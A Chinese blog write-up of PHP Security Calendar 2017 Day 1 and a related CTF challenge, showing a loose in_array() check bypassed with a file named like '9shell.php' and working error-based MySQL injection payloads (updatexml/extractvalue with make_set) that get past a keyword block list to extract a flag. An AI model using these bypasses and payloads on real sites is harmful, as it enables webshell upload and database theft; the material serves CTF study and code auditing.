Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >由PHP SECURITY CALENDAR 2017引发的思考总结

由PHP SECURITY CALENDAR 2017引发的思考总结

作者头像
p4nda
发布于 2023-01-03 05:40:29
发布于 2023-01-03 05:40:29
49100
代码可运行
举报
文章被收录于专栏:技术猫屋技术猫屋
运行总次数:0
代码可运行

0x01 起因

Day 1 - Wish List

Can you spot the vulnerability?

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
class Challenge {
  const UPLOAD_DIRECTORY = './solutions/';
  private $file;
  private $whitelist;

  public function __construct($file) {
    $this->file = $file;
    $this->whitelist = range(1, 24);
  }

  public function __destruct() {
    if (in_array($this->file['name'], $this->whitelist)) {
      move_uploaded_file(
        $this->file['tmp_name'],
        self::UPLOAD_DIRECTORY . $this->file['name']
      );
    }
  }
}

$challenge = new Challenge($_FILES['solution']);

这里的关键问题在in_array()函数,可以先看看In_array()的函数定义:

in_array(search,array,type)

参数 | 描述 | :------ | :------ | | search | 必需。规定要在数组搜索的值。 | | array | 必需。规定要搜索的数组。 | | type | 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。 |

说明 如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。 如果没有在数组中找到参数,函数返回 false。 注释:如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。

在上例代码中:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
in_array($this->file['name'], $this->whitelist)

传入了两个参数,第三个参数未设置为"true",也就是说,只需要将变量name设置为数字开头的文件名,就可以绕过检测 如:9shell.php

这样的话,PHP在将文件名与数组$ whitelist进行比较时,会将9shell.php转化为9,然后再进行比较。

0x02 深思

可以拿一个ctf的例子来详细阐述:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "<center><table border='1'>";
    foreach ($row as $key => $value) {
        echo "<tr><td><center>$key</center></td><br>";
        echo "<td><center>$value</center></td></tr><br>";
    }
    echo "</table></center>";
}
else{
    die($conn->error);
}

?>
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
//config.php
<?php  
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";

function stop_hack($value){
    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|",$pattern);
    foreach($back_list as $hack){
        if(preg_match("/$hack/i", $value))
            die("$hack detected!");
    }
    return $value;
}
?>

题目大概的思路就是通过.Svn源码泄露,获取index.php和config.php文件,config.php的关键信息被隐藏,需要审计源码来构造playload获取flag。

首先看下index.php文件,通过get传入id的值,然后判断传入的id是否在whitelist中,如果不在,返回 id $id is not in whitelist. 如果在,那么执行SQL语句,最后返回查询的内容。

Config.php文件关键点在于一点,stop_hack函数,这是一个过滤函数,主要过滤了字符串拼接函数,导致我们没法直接通过union selct或者常见的hex()等方式来得到flag。

实际上,这道题考察的内容点为in_array()函数绕过以及不使用字符串拼接来获取flag信息。

In_array()这里就不用说了,通过上面的例子应该很容易理解如何绕过,这里主要说下如何使用updatexml注入来获取flag。

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string(Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值

举个实例的话,大概如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select * from users where id=1 and updatexml(1,concat(0x7c,(select database()),0x7c),1);

这里需要提下:Updatexml函数有个特性,当 updatexml 查询的数据中包含特殊字符或者字母,就会报错,报错信息为特殊字符、字母及之后的内容,如:查询的数据为99panda,那么结果只会显示panda。

因此这里通过查询database(),返回数据库名,然后CONCAT将其字符串化。因为UpdateXml第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

最后返回为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ERROR 1105 (HY000): XPATH syntax error: '|day1|'

但是这里遇到一个问题,前面也提到了,字符串拼接函数被过滤了,因此无法使用concat等函数构造语句,只能选择使用不常用的函数——make_set()函数

MAKE_SET(bits,str1,str2,…)

返回一个设定值(含子字符串分隔字符串","字符),在设置位的相应位的字符串。str1对应于位0,str2到第1位,依此类推。在str1,str1有NULL值,…那么不添加到结果。

举个几个简单的例子,

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Select make_set(1,'a','b','c');

转换过程如下:

这里bits参数将转为二进制,1的二进制为0001,倒过来为1000,取比特位为1的字符,若该比特位为空,则不取。所以最终打印a.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Select make_set(1|4,'a','b','c');

和上述过程类似,不过这里多了一个"|"运算。 1的二进制为 0001 4的二进制为 0100 两者进行或运算:

结果为0101,然后再进行翻转,为1010,最后输出的结果为a,c

综上,updatexml配合make_set()函数来进行处理字符串:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select updatexml(1,make_set(3,'~',(select flag from flag)),1);

拼接到playload的最终为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

0x03 总结

实际上,updatexml并不是此题的唯一解法。

与updatexml相对应的还有一个函数——extractvalue()

Extractvalue()的详细内容这里就不介绍了,有兴趣的朋友可以执行Google 利用这个函数,同样可以构造MySQL语句为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select extractvalue(0x0a,concat(0x0a,( select flag from flag)));

不过同样需要concat函数,因此改成make_set():

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select extractvalue(0x0a,make_set(3,'~',(select flag from flag)));

最终playload为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1 and (select extractvalue(0x0a,make_set(3,'~',(select flag from flag))))

当然,make_set()同样不是唯一的,与此类似的还有export_set()、lpad()、reverse()、repeat(),只不过后三个函数用起来有强制要求:所查询的值中,必须至少含有一个特殊字符。 若使用export_set()代替make_set()函数,最终playload为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1 and (select extractvalue(0x0a,export_set(3,'~',(select flag from flag))))

却发现:

但是使用MySQL直接查询是可以的:

仔细看了一番,发现export_set()中含有or两个字母,or是被过滤掉的,因此这里不行

0x04 参考

PHP SECURITY CALENDAR 2017

MySQL MAKE_SET() function

MySQL updatexml报错注入

学习基于extractvalue()和updatexml()的报错注入

PHP-Audit-Labs

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-06-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
PHP代码审计01之in_array()函数缺陷
从今天起,结合红日安全写的文章,开始学习代码审计,题目均来自PHP SECURITY CALENDAR 2017,讲完这个题目,会再用一道有相同问题的CTF题来进行巩固。下面开始分析。
雪痕@
2020/09/27
1.8K0
PHP代码审计01之in_array()函数缺陷
PHP代码审计Day1 - in_array函数缺陷
-----------------------------------------------------------------------------------
用户1631416
2018/09/14
2.3K0
PHP代码审计Day1 - in_array函数缺陷
BUUCTF-Web-WriteUp
知识点:代码审计,phpmyadmin任意文件包含漏洞 参考:phpmyadmin 4.8.1任意文件包含
小简
2022/12/28
1.5K0
BUUCTF-Web-WriteUp
PHP SECURITY CALENDAR Writeup
这是文件上传中常用的一个函数,文件被上传结束后,默认地被存储在了临时目录中,这时必须将它从临时目录中移动到其它地方,因为脚本执行完后,临时目录里的文件会被删除。所以要在删除之前用 PHP 的 copy() 或者 move_upload_file() 函数将它复制或者移动到其它位置,到此,才算完成了上传文件过程。
wywwzjj
2023/05/09
2.1K0
PHP SECURITY CALENDAR Writeup
CTF考点总结-sql注入篇
mysql.user下有所有的用户信息,其中authentication_string为用户密码的hash,如果可以使用可以修改这个值,那么就可以修改任意用户的密码
黑伞安全
2020/07/28
3.1K0
CTF考点总结-sql注入篇
Sqlilabs通关笔记(二)
该注入原理可以查找资料,注入方式的有资料[1]可以点击查看,如下只列举常遇到的十种报错注入的方式
网络安全自修室
2020/07/22
6160
MySQL手注之报错注入详解
往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。这篇文章会讲解一下报错注入的产生原理和利用案例。
渗透攻击红队
2020/05/19
9.5K1
“红明谷”杯数据安全大赛技能场景赛
来登陆,||可以使用,fuzz一波发现过滤了不少,找到一个make_set可以替代if,strcmp替代等于号,但常见盲注函数都被ban了,找到locate可以用来取位置。
HhhM
2022/08/10
4860
“红明谷”杯数据安全大赛技能场景赛
X-NUCA 2017第三期 WriteUp
我个人感觉这次题目质量是可以的,很模拟现实渗透场景,从外网到内网到域控,到达一定阶段给个flag 但是也有吐槽的点,主办方给8个小时,一共有12个关卡,到比赛结束,解题数量最多是5道题,到后面主办方
安恒网络空间安全讲武堂
2018/02/06
8550
X-NUCA 2017第三期 WriteUp
NSSCTF刷题篇
当使用1;show columns from 'Flag'#去查询数据时发现不行。看了一下网上的WP题目使用的查询语句是
用户2616264
2023/05/18
3380
NSSCTF刷题篇
全网最全sqli-labs通关攻略(建议收藏)
Sqli-labs是一个帮你总结大部分SQL注入漏洞类型的靶场,学习SQL注入漏洞原理,复现SQL注入漏洞必备靶场环境,玩起来吧!SQLi-LABS项目地址:https://github.com/Audi-1/sqli-labs,经过美化的项目地址:https://github.com/himadriganguly/sqlilabs,可以使用phpstudy或者web环境直接搭建运行,具体搭建步骤可以参考另一篇文章SQL注入靶场之sqlilabs搭建指南
网络安全自修室
2021/11/25
23.9K0
全网最全sqli-labs通关攻略(建议收藏)
SQL注入(入门)
收到请求的后端PHP代码会将GET方式传入的id=1与前面的SQL查询语句进行拼接,最后传给执行MySQL的查询语句如下:
Andromeda
2022/10/27
2K0
SQL注入(入门)
sqlmap报错注入
所有的注入原理都是一样,即用户输入被拼接执行。但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入。
全栈程序员站长
2022/11/11
2.5K0
编程语言对比手册(横向版)[-PHP-]
Windows Apache MySQL PHP,官网:http://www.wampserver.com/ (首页挺狂放)
张风捷特烈
2019/03/19
1.4K0
编程语言对比手册(横向版)[-PHP-]
SQL 显错注入
在做rctf2015的一道web题目的时候,遇到了一个显错注入,学习不少姿势,写下来好好研究下…
LoRexxar
2023/02/20
3350
非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)
首先使用updatexml()函数进行SQL报错注入 爆库 1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
用户8909609
2023/11/17
1.1K0
非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)
mysql注入-一般方法篇
Extractvalue:对xml文档进行查询 语法:extractvalue(文档类型,xpath路径)
h0cksr
2023/05/16
7920
简记一次Tp3框架审计之旅
MVC框架是代码审计必需学习的知识,这里以TpV3.2.3框架为例,进行一次对MVC框架代码的漏洞审计,简单学一下MVC的相关知识,希望对正在学习MVC框架的师傅有所帮助。
亿人安全
2023/02/28
1.1K0
简记一次Tp3框架审计之旅
Sqli-labs 通关笔记
常用报错函数:updatexml(), extractvalue(), floor() 十种MySQL报错注入 【SQL注入】报错注入姿势总结
wywwzjj
2023/05/09
4960
sql注入漏洞
第二个参数要求是xpath格式的字符串,语法正确是会按照路径 /该xml文件/要查询的字符串 进行查询
h3110_w0r1d
2024/02/19
2330
sql注入漏洞
相关推荐
PHP代码审计01之in_array()函数缺陷
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验